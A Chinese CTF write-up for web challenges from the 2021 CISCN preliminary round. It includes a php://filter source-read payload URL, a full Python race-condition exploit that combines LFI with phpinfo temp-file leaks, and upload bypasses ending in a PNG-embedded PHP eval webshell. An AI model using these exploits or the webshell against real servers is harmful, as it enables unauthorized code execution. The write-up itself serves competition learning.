2021ciscn初赛web部分简单wp

0x00. 简单的题不想写wp,难的题写不出来……这篇博客应该会比较水,不喜勿喷
0x01.easy_source
Payload

http://xxxxxxxxxx/index.php?rc=splFileobject&ra=.index.php.swo&ra=php://filter/read=convert.base64-encode/resource=index.php&rb=rb&rd=fgets

挺简单的,不细说了
用php原生类splFileObject,用gets或者toString方法读源码,只能读一行的情况可以用php-read那个伪协议,没想到flag就在源码里,算是意外收获吧
据说有原题,不懂的可以找找
0x02. middle_source
源码
扫后台扫出.listing
进去后发现一个路由,可以访问到phpinfo
审计源码,文件包含,可以选择包含的文件,执行php代码
结合源码想到post文件,通过phpinfo得到暂时文件名,然后条件竞争,在服务器删除暂时文件前访问到
当时参考的博客
https://blog.csdn.net/qq_21604717/article/details/52357778
https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py
把网上的脚本改一下就能出exp了
脚本

#!/usr/bin/python
import sys
import threading
import socket


def setup(host, port):
    TAG = "Security Test"
    PAYLOAD = """%s\r
<?php var_dump(scandir("/etc/aacecdiefb/djdfcjdahd/bfcafbehje/adaacfaaad/hcadccffbc/"))?>\r""" % TAG
    REQ1_DATA = """-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding = "A" * 5000
    REQ1 = """POST /you_can_seeeeeeee_me.php?a=""" + padding + """ HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """ + padding + """\r
HTTP_ACCEPT_LANGUAGE: """ + padding + """\r
HTTP_PRAGMA: """ + padding + """\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)
    # modify this to suit the LFI script
    LFIREQ = """POST / HTTP/1.1\r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: %d\r
Origin: http://124.71.233.158:24321\r
Connection: close\r
Referer: http://124.71.233.158:24321/\r
Upgrade-Insecure-Requests: 1\r
Host:%s\r
\r
cf=../../..%s\r
"""
    return (REQ1, TAG, LFIREQ)


def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt; ")
        fn = d[i + 17:i + 31]
    except ValueError:
        return None
    s2.send(lfireq % (len(fn)+11,host,fn))
    d = s2.recv(4096)
    print(d)
    s.close()
    s2.close()
    print(fn)
    if d.find(tag) != -1:
        return fn


counter = 0


class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock = l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter += 1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break
                if x:
                    print "\nGot it! Shell created in /tmp/g"
                    self.event.set()

            except socket.error:
                return


def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send(phpinforeq)

    d = ""
    while True:
        i = s.recv(4096)
        d += i
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt; ")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")

    print "found %s at %i" % (d[i:i + 10], i)
    # padded up a bit
    return i + 256


def main():
    print "LFI With PHPInfo()"
    print "-=" * 30

    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port = 80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)

    poolsz = 10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0, poolsz):
        tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write("\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot!  \m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "\nTelling threads to shutdown..."
        e.set()

    print "Shuttin' down..."
    for t in tp:
        t.join()


if __name__ == "__main__":
    main()

0x03.upload
源码
第一关
参考P神博客
https://www.leavesongs.com/PENETRATION/when-imagemagick-meet-getimagesize.html
在文件后面加上
#define height 1
#define width 1
让getImagesize函数把它当作xbm文件,从而绕过宽高验证

第二关
用奇怪的拉丁文之类的unicode,通过大小写字符折叠漏洞,绕过.zip后缀的过滤
https://www.compart.com/en/unicode

第三关
脚本
https://github.com/huntergregal/PNG-IDAT-Payload-Generator
修改脚本的payload部分
https://gchq.github.io/CyberChef/
将payload改为<?=eval($__POST(1))?>,并修改编码后的部分
脚本生成图片马,修改为php后缀,压成zip上传,访问即可执行命令

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值